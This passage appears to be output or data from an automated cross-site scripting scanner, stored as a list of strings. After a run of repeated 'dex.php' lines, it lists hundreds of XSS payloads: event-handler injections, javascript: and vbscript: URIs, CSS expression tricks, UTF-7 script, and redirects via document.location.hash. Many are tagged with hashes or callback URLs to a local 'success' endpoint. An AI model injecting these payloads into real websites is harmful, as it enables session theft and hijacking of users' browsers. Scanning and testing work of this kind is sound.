      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "<video onerror=\"javascript:document.location=document.location.hash.substring(1)\"><source>\n",
      "'';!--\"<367808b358483a793bf5b4d04b0a389b>=&{()}\"\n",
      "</TITLE>e53837102d6aa86005e5865d5d0572aa\n",
      "\">e13f049bd3fbd24e5379ce79bc272303\n",
      "\"><img src=\"x:x\" onerror=\"381220c5f1e1fde1531b8867b65531ba\">\n",
      "\"><SCRIPT>alert('7c924362063bb628d1bb1ec4d5818cf1')</SCRIPT>\n",
      "'';!--\"<20a995cfdf086ddade59ca82c95440f4>=&{()}\"\n",
      "<IMG SRC=92ccc03c7e21263af9c28765585dc699>\n",
      "<BODY onload!#$%&()*~+-_.,:;?@[/|\\]^`=39edf7e0233cc87f205bb4829bad9f0d>\n",
      "<IMG SRC=\"d6ac667d914ab0ea0059bb8a3bb31cdb\">\n",
      "<IMG SRC=`11ac2ec8a2fe8fb46946afbbbc237e0b`>\n",
      "<IMG SRC=\" &#14;  320fb93eb5fb5eb364e0abbfa5fd31a5\">\n",
      "<IMG \"\"\">f80c11c046cf161f5313d3277f6fa25e\">\n",
      "<DIV STYLE=\"behaviour: url(5f44da53d0729fd368decc025cccfff6);\">\n",
      "<<SCRIPT>92aac0f4cecfdcfe498765d3b630d3d4//<</SCRIPT>\n",
      "\";d37f3e4ceb492aeb193a8a363a23e815//\n",
      "<IMG SRC='d6a02f94c161e23a536eae920d2a1cf3'\n",
      "<BODY BACKGROUND=\"488806dc1be1f166cb7d9c6f6b1c8f14\">\n",
      "<INPUT TYPE=\"IMAGE\" SRC=\"45d78464c2c787528fd2e195849f32d1\">\n",
      "<BODY ONLOAD=21950f580a08ee6c0e0e1b43b678e46b>\n",
      "<IMG DYNSRC=\"161f1eb94b20ade48658d3226e342c5b\">\n",
      "<IMG LOWSRC=\"0f00139d6ac4b2131ec7af61996e462a\">\n",
      "<BGSOUND SRC=\"0089246dc13e5bc955dbf14192d23fd0\">\n",
      "<BR SIZE=\"&{5253d17ed55dda1a36186e64da577fc4}\">\n",
      "<IMG SRC='vbscript:ab462baa4bf04655069ec92b418ad17a'>\n",
      "<LINK REL=\"stylesheet\" HREF=\"a9f8bad43cea61bfd63f3a50d9b414b7\">\n",
      "<IMG SRC=\"mocha:[33d7792198f25ab587afa90e6de2c55c]\">\n",
      "<IMG SRC=\"livescript:[62c2e49b8dad1607295eb85c7baca7c0]\">\n",
      "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=cd878229292c0d443161ce55342356b5\">\n",
      "<TABLE BACKGROUND=\"8ba5a330dc2af43beb4679ac8c48f62b\">\n",
      "<TABLE BACKGROUND=javascript:78189bc1ab4b7f8f5f2102259687a733>\n",
      "<TABLE><TD BACKGROUND=\"b2b0021bdffa1097b654d374d393cee5\">\n",
      "<DIV STYLE=\"background-image: url(e2955df2ae80ee8c92800ee7c4a476e7);\">\n",
      "<DIV STYLE=\"width: expression(3cfb0695fd1ecc5b99f2784c87af132f);\">\n",
      "<IFRAME SRC=\"44856d59068c1e09d8244f10e129978b\"></IFRAME>\n",
      "<iframe/ /onload=489ce8ba99508493e653aef12a6ee1f3></iframe>\n",
      "<iframe/ \"onload=fa55e2820498869fc333bd0db34d4943></iframe>\n",
      "<iframe///////onload=cd9fc1e9589a7ed065647502d561eccb></iframe>\n",
      "<iframe \"onload=f0e5a7dbe814b63f0ba0011a61be2bf8></iframe>\n",
      "<iframe/ \"onload=403ad53dde3000ae819dc13c28cfd641></iframe>\n",
      "<iframe<?php echo chr(11)?> onload=16a3a35996ec75c52180e388687813c5></iframe>\n",
      "<FRAMESET><FRAME SRC=\"a6b49eae05163b4e4cc7be382dc2b119\"></FRAMESET>\n",
      "<iframe<?php echo chr(12)?> onload=1e3506b0d65826176e6aa4e2d77ea82c></iframe>\n",
      "<DIV STYLE=\"background-image: url(&#1;46a69e14df448ce5349da5ab80bbcf64)\">\n",
      "<TABLE BACKGROUND=\"5e13a556ae13fb8813b4cdf7ff2cde4b\">\n",
      "<TABLE><TD BACKGROUND=\"b5cc3bc4c7cbd1b68b2f03482552d9ed\">\n",
      "<DIV STYLE=\"width: expression(98c00086090cf4bfcd7269c35ba4c21e);\">\n",
      "<IMG STYLE=\"xss:expr/*ac2c09cc2e69b1e3450e4448d2e341ab*/ession(ac2c09cc2e69b1e3450e4448d2e341ab)\">\n",
      "<STYLE>.d4e75671afc92e2a1f2070823af3675e{background-image:url(\"d4e75671afc92e2a1f2070823af3675e\");}</STYLE><A CLASS=d4e75671afc92e2a1f2070823af3675e></A>\n",
      "<STYLE TYPE=\"text/javascript\">ea3ef177640468064e827673ec1c37bf</STYLE>\n",
      "<2ff10504d3ef225cd032934fc87a70b8 STYLE=\"xss:expression(2ff10504d3ef225cd032934fc87a70b8)\">\n",
      "<STYLE type=\"text/css\">BODY{background:url(\"f89fd765927e68fb9e77e673127719e2\")}</STYLE>\n",
      "<!--[if gte IE 4]>00d4c9b95fa6d2cd7f80fd73faa67daf<![endif]-->\n",
      "<? echo('<SCR)';echo('IPT>13c35472ed2ee00a2e500d606654d970</SCRIPT>'); ?>\n",
      "\"get\";b=\"URL(\"\";c=\"javascript:\";d=\"c981ee40ed45b9a8e2d1b09a095f601e\")\";eval(a+b+c+d);\n",
      "<BASE HREF=\"a20c40d0adcd103135b00c436c006a5d//\">\n",
      "<META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=&lt;SCRIPT&gt;0dc03451afadf7b056480079509fe35e&lt;/SCRIPT&gt;\">\n",
      "<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=fcd72cb7fde9fa72d3f233e4a5d89067></OBJECT>\n",
      "<SCRIPT SRC=http://127.0.0.1>6232b8c0247ea778b950949fb3101075</SCRIPT>\n",
      "--- <IMG SRC=\"b6fe420dfd8bcb35ee9ecf2e3959c4ba\"\n",
      "--- <IMG SRC=\" &#14;  67dfdf80bb88e13d90bd3b7bf5e10575\">\n",
      "<IMG SRC=\"jav&#x0D;ascript:6361af0c06048aba33adb008e7adcfb9\">\n",
      "<IMG SRC=\"&14;javascript:e54d90d3949617e4de9c56f162ac0ffb\">\n",
      "<SCRIPT>a=/08613ab89b0cda2e019ec4042bef6aa3/alert(a.source)</SCRIPT>\n",
      "--- \";f260d96588b2c6ee60ea71f731fe7d25;//\n",
      "<META HTTP-EQUIVo\"refresh\" CONTENT=\"0; URL=http://;URL=aedb32ec4ef1066013b1a38093495bff\">\n",
      "<IFRAME SRC=\"javascript:349852467827747fa8a5ad96ce0217d9 <\n",
      "<LAYER SRC=\"javascript:655a8c8b153628347da993dbf6f4d2e8></LAYER>\n",
      "<SCRIPT <B>=e6246224536a0ce434f38ebc8c4363c3\"></SCRIPT>\n",
      "<STYLE>li {list-style-image: url(\"87757691c095d2440ba80bf6127be2f0</STYLE><UL><LI>87757691c095d2440ba80bf6127be2f0\n",
      "<SCRIPT>a=/3fc101ea11d7ea6775b008e4f3cd58d3/n3fc101ea11d7ea6775b008e4f3cd58d3</SCRIPT>\n",
      "<input type=\"image\" dynsrc=\"3b6b1291364b7b2ef7649ab775fe1d6d\">\n",
      "<DIV STYLE=\"background-image: url(&#1;javascript:320a71b47bdddf0e0f5e3b15f19c58c4\">\n",
      "&b0ce1043abf2a102e80038af9c6ece33\">\n",
      "<a href=\"javascript#42c04190a391f3e3a052912db07235fa\">\n",
      "<HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"></HEAD>+ADw-SCRIPT+AD4-c2c9f00073e7e1bb0f2fcc1b469a8561+ADw-/SCRIPT+AD4-\n",
      "<DIV STYLE=\"binding: url(javascript:a1d9108a98afc818edd92200fd82e174);\">\n",
      "<a href=\"about:f2c205a2c92554cfce4c8b84446a188c\">\n",
      "<IMG SRC=&{652f8066de58aea1c356b5f517f2e588};>\n",
      "<OBJECT classid=clsid:...\" codebase=\"javascript:5a3adc79035530a56d14f1c977e718a3\">\n",
      "&{e318f591e029737e23d2a130eed21683};\n",
      "<style><!--</style><SCRIPT>88174d92fa9cc3b93d04eeab8345ee06//--></SCRIPT>\n",
      "<!-- -- -->47a6fd88b66b669ecc011b07cbb60d94<!-- -- -->\n",
      "![CDATA[<!--]]<SCRIPT>f7a18bcea86445b1298fc1d37fd3b3fd//--></SCRIPT>\n",
      "<div datafld=\"b\" dataformatas=\"html\" datasrc=\"#5b3fad74521b23ef9a834b33f95cbb2d\"></div>\n",
      "<xml id=\"X\"><a><b>7faa44787f06e72a1eee76f6ad2c9ed0;<b></a></xml>\n",
      "<XML ID=I><X><C><![CDATA[<IMG SRC=\"javas]]<![CDATA[cript:c174fa9d2e29510a9c474f86662a3e8b\">]]</C><X></xml>\n",
      "<textarea onfocus=javascript:a22d061d510a3ca81dc30899b94ac555 autofocus>\n",
      "<input onfocus=javascript:33550f481b06edac6e2d2b291ebfb648 autofocus>\n",
      "<keygen onfocus=javascript:98a920e602d12dd5fe7af36e17c37176 autofocus>\n",
      "<form id=\"test\" /><button form=\"test\" formaction=\"javascript:f04e66d2899b05f7244e2426c4fa167b\">X\n",
      "<select onfocus=javascript:f7ba90c063b2383bbc253179827af81f autofocus>\n",
      "X<form id=test><input></form><button form=test onformchange==javascript:395d41fcc9b5a52f3e7800e223867699>X\n",
      "<input onblur=javascript:8816318d96039d4385b982400b544745 autofocus><input autofocus>\n",
      "<video poster=javascript:204e793c26e2d47236029808ad1132b3//\n",
      "<body onscroll=a95d6dc7809c9451bdd544bacb7a01e6><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>\n",
      "X<form id=test onforminput=javascript:71370d911e59f2f828e863e3bffd1198><input></form>\n",
      "<video><source onerror=\"javascript:06f34593162556a40fdeba65e5b919c8\">\n",
      "<video onerror=\"javascript:12a7b3f019a928d72211a7437be219a5\"><source>\n",
      "</TITLE><script>document.location=document.location.hash.substring(1)</script>\n",
      "'';!--\"<script>document.location=document.location.hash.substring(1)</script>=&{()}\" \n",
      "\"><script>document.location=document.location.hash.substring(1)</script>\n",
      "<BODY ONLOAD=<script>document.location=document.location.hash.substring(1)</script>>\n",
      "<iframe<?php echo chr(11)?> onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<INPUT TYPE=\"IMAGE\" SRC=\"http://localhost:19084/success/45d78464c2c787528fd2e195849f32d1\">\n",
      "\"><SCRIPT>alert('http://localhost:19084/success/7c924362063bb628d1bb1ec4d5818cf1')</SCRIPT>\n",
      "<BODY BACKGROUND=\"http://localhost:19084/success/488806dc1be1f166cb7d9c6f6b1c8f14\">\n",
      "\";<script>document.location=document.location.hash.substring(1)</script>//\n",
      "'';!--\"<script>document.location=document.location.hash.substring(1)</script>=&{()}\" \n",
      "<IMG SRC=http://localhost:19084/success/92ccc03c7e21263af9c28765585dc699>\n",
      "<DIV STYLE=\"behaviour: url(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "\"><img src=\"x:x\" onerror=\"http://localhost:19084/success/381220c5f1e1fde1531b8867b65531ba\">\n",
      "<iframe/ \"onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<iframe///////onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<TABLE><TD BACKGROUND=\"http://localhost:19084/success/b5cc3bc4c7cbd1b68b2f03482552d9ed\">\n",
      "<IMG SRC=`http://localhost:19084/success/11ac2ec8a2fe8fb46946afbbbc237e0b`>\n",
      "<<SCRIPT>document.location=document.location.hash.substring(1)//<</SCRIPT>\n",
      "<!--[if gte IE 4]><script>document.location=document.location.hash.substring(1)</script><![endif]-->\n",
      "\"get\";b=\"URL(\"\";c=\"javascript:\";d=\"http://localhost:19084/success/c981ee40ed45b9a8e2d1b09a095f601e\")\";eval(a+b+c+d);\n",
      "<IMG SRC=\"http://localhost:19084/success/d6ac667d914ab0ea0059bb8a3bb31cdb\">\n",
      "<BGSOUND SRC=\"http://localhost:19084/success/0089246dc13e5bc955dbf14192d23fd0\">\n",
      "<TABLE BACKGROUND=javascript:document.location=document.location.hash.substring(1)>\n",
      "<IMG LOWSRC=\"http://localhost:19084/success/0f00139d6ac4b2131ec7af61996e462a\">\n",
      "<IFRAME SRC=\"http://localhost:19084/success/44856d59068c1e09d8244f10e129978b\"></IFRAME>\n",
      "<STYLE type=\"text/css\">BODY{background:url(\"http://localhost:19084/success/f89fd765927e68fb9e77e673127719e2\")}</STYLE>\n",
      "<TABLE><TD BACKGROUND=\"http://localhost:19084/success/b2b0021bdffa1097b654d374d393cee5\">\n",
      "<IMG DYNSRC=\"http://localhost:19084/success/161f1eb94b20ade48658d3226e342c5b\">\n",
      "<IMG \"\"\"><script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<BR SIZE=\"&{<script>document.location=document.location.hash.substring(1)</script>}\">\n",
      "<IMG SRC=\"livescript:[http://localhost:19084/success/62c2e49b8dad1607295eb85c7baca7c0]\">\n",
      "<HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"></HEAD>+ADw-SCRIPT+AD4-document.location=document.location.hash.substring(1)+ADw-/SCRIPT+AD4-\n",
      "<IMG SRC='http://localhost:19084/success/d6a02f94c161e23a536eae920d2a1cf3'\n",
      "<IMG SRC='vbscript:http://localhost:19084/success/ab462baa4bf04655069ec92b418ad17a'>\n",
      "<IMG STYLE=\"xss:expr/*XSS*/ession(<script>document.location=document.location.hash.substring(1)</script>)\">\n",
      "<iframe/ /onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<DIV STYLE=\"background-image: url(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "<LINK REL=\"stylesheet\" HREF=\"http://localhost:19084/success/a9f8bad43cea61bfd63f3a50d9b414b7\">\n",
      "<IMG SRC=\"mocha:[http://localhost:19084/success/33d7792198f25ab587afa90e6de2c55c]\">\n",
      "<DIV STYLE=\"width: expression(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "<TABLE BACKGROUND=\"http://localhost:19084/success/8ba5a330dc2af43beb4679ac8c48f62b\">\n",
      "<TABLE BACKGROUND=\"http://localhost:19084/success/5e13a556ae13fb8813b4cdf7ff2cde4b\">\n",
      "<BASE HREF=\"<script>document.location=document.location.hash.substring(1)</script>//\">\n",
      "<STYLE>.XSS{background-image:url(\"http://localhost:19084/success/d4e75671afc92e2a1f2070823af3675e\");}</STYLE><A CLASS=XSS></A>\n",
      "<FRAMESET><FRAME SRC=\"http://localhost:19084/success/a6b49eae05163b4e4cc7be382dc2b119\"></FRAMESET>\n",
      "<iframe \"onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<textarea onfocus=javascript:document.location=document.location.hash.substring(1) autofocus>\n",
      "&{<script>document.location=document.location.hash.substring(1)</script>};\n",
      "<SCRIPT <B>=document.location=document.location.hash.substring(1)\"></SCRIPT>\n",
      "<iframe<?php echo chr(12)?> onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<STYLE TYPE=\"text/javascript\"><script>document.location=document.location.hash.substring(1)</script></STYLE>\n",
      "<XSS STYLE=\"xss:expression(<script>document.location=document.location.hash.substring(1)</script>)\">\n",
      "<? echo('<SCR)';echo('IPT>document.location=document.location.hash.substring(1)</SCRIPT>'); ?>\n",
      "<IFRAME SRC=\"javascript:document.location=document.location.hash.substring(1) <\n",
      "<META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=&lt;SCRIPT&gt;document.location=document.location.hash.substring(1)&lt;/SCRIPT&gt;\">\n",
      "<input onfocus=javascript:document.location=document.location.hash.substring(1) autofocus>\n",
      "--- \";<script>document.location=document.location.hash.substring(1)</script>;//\n",
      "<input type=\"image\" dynsrc=\"http://localhost:19084/success/3b6b1291364b7b2ef7649ab775fe1d6d\">\n",
      "--- <IMG SRC=\"http://localhost:19084/success/b6fe420dfd8bcb35ee9ecf2e3959c4ba\"\n",
      "<IMG SRC=\"&14;javascript:document.location=document.location.hash.substring(1)\">\n",
      "<iframe/ \"onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<SCRIPT>a=/document.location=document.location.hash.substring(1)/alert(a.source)</SCRIPT>\n",
      "<SCRIPT SRC=http://127.0.0.1>http://localhost:19084/success/6232b8c0247ea778b950949fb3101075</SCRIPT>\n",
      "<META HTTP-EQUIVo\"refresh\" CONTENT=\"0; URL=http://;URL=<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<SCRIPT>a=/XSS/ndocument.location=document.location.hash.substring(1)</SCRIPT>\n",
      "<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=<script>document.location=document.location.hash.substring(1)</script>></OBJECT>\n",
      "<LAYER SRC=\"javascript:document.location=document.location.hash.substring(1)></LAYER>\n",
      "&<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<DIV STYLE=\"binding: url(javascript:document.location=document.location.hash.substring(1));\">\n",
      "<style><!--</style><SCRIPT>document.location=document.location.hash.substring(1)//--></SCRIPT>\n",
      "<STYLE>li {list-style-image: url(\"<script>document.location=document.location.hash.substring(1)</script></STYLE><UL><LI>XSS\n",
      "<IMG SRC=&{http://localhost:19084/success/652f8066de58aea1c356b5f517f2e588};>\n",
      "<OBJECT classid=clsid:...\" codebase=\"javascript:document.location=document.location.hash.substring(1)\">\n",
      "<a href=\"about:<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<keygen onfocus=javascript:document.location=document.location.hash.substring(1) autofocus>\n",
      "<form id=\"test\" /><button form=\"test\" formaction=\"javascript:document.location=document.location.hash.substring(1)\">X\n",
      "<DIV STYLE=\"width: expression(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "![CDATA[<!--]]<SCRIPT>document.location=document.location.hash.substring(1)//--></SCRIPT>\n",
      "<video poster=javascript:document.location=document.location.hash.substring(1)//\n",
      "<body onscroll=<script>document.location=document.location.hash.substring(1)</script>><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>\n",
      "<video><source onerror=\"javascript:document.location=document.location.hash.substring(1)\">\n",
      "<!-- -- --><script>document.location=document.location.hash.substring(1)</script><!-- -- -->\n",
      "<select onfocus=javascript:document.location=document.location.hash.substring(1) autofocus>\n",
      "<xml id=\"X\"><a><b><script>document.location=document.location.hash.substring(1)</script>;<b></a></xml>\n",
      "X<form id=test><input></form><button form=test onformchange==javascript:document.location=document.location.hash.substring(1)>X\n",
      "X<form id=test onforminput=javascript:document.location=document.location.hash.substring(1)><input></form>\n",
      "<XML ID=I><X><C><![CDATA[<IMG SRC=\"javas]]<![CDATA[cript:http://localhost:19084/success/c174fa9d2e29510a9c474f86662a3e8b\">]]</C><X></xml>\n",
      "<input onblur=javascript:document.location=document.location.hash.substring(1) autofocus><input autofocus>\n",
      "\">985f4a65cf6832913ba6ae17ce5a8886\n",
      "\"><img src=\"x:x\" onerror=\"d8e58c24787e391dea0dcbc97099b7e2\">\n",
      "'';!--\"<7ebb4a98a4688bd77ee2b59bef27709b>=&{()}\"\n",
      "<BODY onload!#$%&()*~+-_.,:;?@[/|\\]^`=62fead8f697e8470577435d80052ecd7>\n",
      "\"><SCRIPT>alert('bc501f134a722eded52c2e5e9c2abc90')</SCRIPT>\n",
      "</TITLE>29cae03eafef0d93e415e824a4df425b\n",
      "'';!--\"<3a92158ffb23b0914fa7f17d074083c1>=&{()}\"\n",
      "<IMG SRC=\"5693bb7437333c21d50f95c18f832330\">\n",
      "<IMG SRC=36536d0a754c3a0bc7f317a4e185acb5>\n",
      "<IMG SRC=`65104fc412dc2549cbb1ddb44c72c10b`>\n",
      "<IMG \"\"\">5033e98f417e8611edb19925a47c1af4\">\n",
      "<IMG SRC=\" &#14;  0f8a294eacfdf24749f63414b27e7cd2\">\n",
      "<DIV STYLE=\"behaviour: url(6247cdf5a3146555b3f5aa63c364ce33);\">\n",
      "<<SCRIPT>5e604680227542d4c39b65ef90b60481//<</SCRIPT>\n",
      "<BODY BACKGROUND=\"4abe39e023bab738ee7a4552ff15f58e\">\n",
      "<IMG SRC='b32ce177e662428332247a031e774865'\n",
      "<INPUT TYPE=\"IMAGE\" SRC=\"25512166735fe16e92239dd34ddbeee2\">\n",
      "\";00455ca2fe6fcdf523db4c56e4dec40c//\n",
      "<BODY ONLOAD=67f6cf512dabb2a5328c4645e5c1527c>\n",
      "<IMG DYNSRC=\"d46113d9a203b575ef48fece2dd27e16\">\n",
      "<IMG LOWSRC=\"7e9af3246b0fb446aa54a16c41741f1b\">\n",
      "<LINK REL=\"stylesheet\" HREF=\"5f3ca9d8a096f69cfd1440f85920686c\">\n",
      "<BGSOUND SRC=\"3d42db67815dc6535e4c97778416d599\">\n",
      "<BR SIZE=\"&{e36bac9f98526eef18cc1f7e635da048}\">\n",
      "<IMG SRC=\"mocha:[a717b133016f4b0b217cf98862379fe3]\">\n",
      "<IMG SRC='vbscript:d43b0703d029fc61c86a640647ef5efa'>\n",
      "<IMG SRC=\"livescript:[a306c6c53f8cbcda8f4412cf1c4cd37f]\">\n",
      "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=3f810bbe22be921763f7caa8083af773\">\n",
      "<TABLE BACKGROUND=\"51b82d2fcde0e6a349ad8d0a41e1b495\">\n",
      "<TABLE BACKGROUND=javascript:de9b184d8286e35111662753b80c152a>\n",
      "<DIV STYLE=\"background-image: url(5bf15e500b09d6051fff4e2e10edf268);\">\n",
      "<TABLE><TD BACKGROUND=\"1b45ad7a8b9295d9d495fa1dbebd898c\">\n",
      "<DIV STYLE=\"width: expression(ca2aeb6e05ccaf10a9e91a8834a1514c);\">\n",
      "<iframe/ \"onload=a943bf90d880c0181eb9e69cb261d114></iframe>\n",
      "<IFRAME SRC=\"fa4f91faa5926d67a3007150f9888ea5\"></IFRAME>\n",
      "<iframe/ /onload=4fd59bc257b2c480dedf23944a7a68bc></iframe>\n",
      "<iframe///////onload=4d7670dd3a1a309207340c245e208261></iframe>\n",
      "<iframe \"onload=f211d0b5467217fe404ce78b4f1a5513></iframe>\n",
      "<iframe/ \"onload=100c28e904e9b36d1456dab21b4ae169></iframe>\n",
      "<iframe<?php echo chr(11)?> onload=1cc1f8c9f20556eda06aa7bd5123e248></iframe>\n",
      "<iframe<?php echo chr(12)?> onload=de5e3b091bcac7f1b5c62a9e39fe95b1></iframe>\n",
      "<FRAMESET><FRAME SRC=\"8839377c816bc775d0e077071d2d7e9f\"></FRAMESET>\n",
      "<TABLE BACKGROUND=\"17f83a657e24bb2aa317221b3fbcd262\">\n",
      "<DIV STYLE=\"background-image: url(&#1;16d15ee100390de05e2e9d1cdd870940)\">\n",
      "<TABLE><TD BACKGROUND=\"f8430d7acbe0814caf2634c246396214\">\n",
      "<DIV STYLE=\"width: expression(18b912e91cf0fc3526a245979a9f82eb);\">\n",
      "<IMG STYLE=\"xss:expr/*ba7e941ab146522ee84df09e1a3a3aab*/ession(ba7e941ab146522ee84df09e1a3a3aab)\">\n",
      "<6dd26358374e54d9e453cd4f240d88c1 STYLE=\"xss:expression(6dd26358374e54d9e453cd4f240d88c1)\">\n",
      "<STYLE TYPE=\"text/javascript\">164a1cb0271ae8df5d5348056ce90d60</STYLE>\n",
      "<STYLE>.451718e87de803258be06a7244f19d10{background-image:url(\"451718e87de803258be06a7244f19d10\");}</STYLE><A CLASS=451718e87de803258be06a7244f19d10></A>\n",
      "<STYLE type=\"text/css\">BODY{background:url(\"eed12040e187304d28e50dda989f35dc\")}</STYLE>\n",
      "<!--[if gte IE 4]>906fc523bb3d834c4d1cf2db26febc80<![endif]-->\n",
      "<BASE HREF=\"fa54f0ee3a531b49af0d8a347d1a813c//\">\n",
      "<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=dd8dee6b09e89ec6cdc206934e26acc7></OBJECT>\n",
      "\"get\";b=\"URL(\"\";c=\"javascript:\";d=\"3b2553e08323180bef5de16e24f80ca9\")\";eval(a+b+c+d);\n",
      "<META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=&lt;SCRIPT&gt;3fece8659de18ddf0140a999e708bde3&lt;/SCRIPT&gt;\">\n",
      "<? echo('<SCR)';echo('IPT>d822b2207fb488aae77a0f3745c52e89</SCRIPT>'); ?>\n",
      "<SCRIPT SRC=http://127.0.0.1>8f9cc85a1ba2caac762fbf8af0c32eee</SCRIPT>\n",
      "<IMG SRC=\"&14;javascript:418b6e98d87c4c9ec733be77e6c28ad1\">\n",
      "<IMG SRC=\"jav&#x0D;ascript:5e7d6a503e20e1723427c69615d87161\">\n",
      "--- <IMG SRC=\" &#14;  4caa3e00d4f240f14ba6fb3177f377cd\">\n",
      "--- <IMG SRC=\"43470ec596b8271981efa193fa926869\"\n",
      "<SCRIPT>a=/5ca340f82c0215cc76a45ea78a6c143b/alert(a.source)</SCRIPT>\n",
      "--- \";c583aa8066c8e535eb3df59236aa31bc;//\n",
      "<META HTTP-EQUIVo\"refresh\" CONTENT=\"0; URL=http://;URL=8e3da61faaac9412e46c535c53d6c2ac\">\n",
      "<SCRIPT <B>=964c5e873fa0e7aa08ff192e1d6f0ba4\"></SCRIPT>\n",
      "<DIV STYLE=\"background-image: url(&#1;javascript:dbc7b03c0d2d184478e85111993734a1\">\n",
      "<IFRAME SRC=\"javascript:089f51d1c552007b2bb9d227da084c7c <\n",
      "<SCRIPT>a=/9eaa499e4acbe35301ee42704eee6fb6/n9eaa499e4acbe35301ee42704eee6fb6</SCRIPT>\n",
      "<STYLE>li {list-style-image: url(\"89049630ec446ff16681feaddf29c175</STYLE><UL><LI>89049630ec446ff16681feaddf29c175\n",
      "<LAYER SRC=\"javascript:f6f4d9e45f1155272af4516c8b9f7818></LAYER>\n",
      "<HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"></HEAD>+ADw-SCRIPT+AD4-eea2a02ad90d73787c55b0d6cd1ece7e+ADw-/SCRIPT+AD4-\n",
      "<a href=\"javascript#4f1d2c5f6cbc8e0065e687f398204901\">\n",
      "<input type=\"image\" dynsrc=\"8e57282315bb0f298eb3e88cd5e4098f\">\n",
      "&{e966bdf667498f122b2966745e929083};\n",
      "&7556d0425b545b37a38c1a7414b17c18\">\n",
      "<IMG SRC=&{d4e171d729126fd2c8b60c50a5e57517};>\n",
      "<a href=\"about:f38e3f1be6ecd6c42896fece84f7d2d5\">\n",
      "<DIV STYLE=\"binding: url(javascript:5a48e9f12b7fa1c55097d516274102ac);\">\n",
      "<OBJECT classid=clsid:...\" codebase=\"javascript:1a6dbdaa3d895a7c63520a99eb057682\">\n",
      "<!-- -- -->65c46611abdc1f38645cc2cf40ccfa81<!-- -- -->\n",
      "<style><!--</style><SCRIPT>c12aa793314bbc2b550708ad473e8aab//--></SCRIPT>\n",
      "![CDATA[<!--]]<SCRIPT>3319d71b616d93addea0c39b40e4fde8//--></SCRIPT>\n",
      "<xml id=\"X\"><a><b>53ae6c9e7c50720926cd098f94d637bf;<b></a></xml>\n",
      "<div datafld=\"b\" dataformatas=\"html\" datasrc=\"#11bc38ba3c6fff1524308daade8e1e49\"></div>\n",
      "<form id=\"test\" /><button form=\"test\" formaction=\"javascript:07d3ee70223111ca7714861cf1935ca9\">X\n",
      "<input onfocus=javascript:24ecaf50e3573b61b14abc32d15ec02f autofocus>\n",
      "<XML ID=I><X><C><![CDATA[<IMG SRC=\"javas]]<![CDATA[cript:2da1c26f1c08e0280233fdf440ea236f\">]]</C><X></xml>\n",
      "<select onfocus=javascript:085709d59a0b1e0a63f6850929cdc789 autofocus>\n",
      "<textarea onfocus=javascript:48a6b500fa14c92e2916831bb20fb1f2 autofocus>\n",
      "<video poster=javascript:4031b1868836f96ab4df8c516218478b//\n",
      "<keygen onfocus=javascript:18449c0909d41227373aa070c77f0dfa autofocus>\n",
      "<body onscroll=6bd133f75a742991596cb130a9b3b438><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>\n",
      "<input onblur=javascript:1d709316e5e69d038015f65cd033ba84 autofocus><input autofocus>\n",
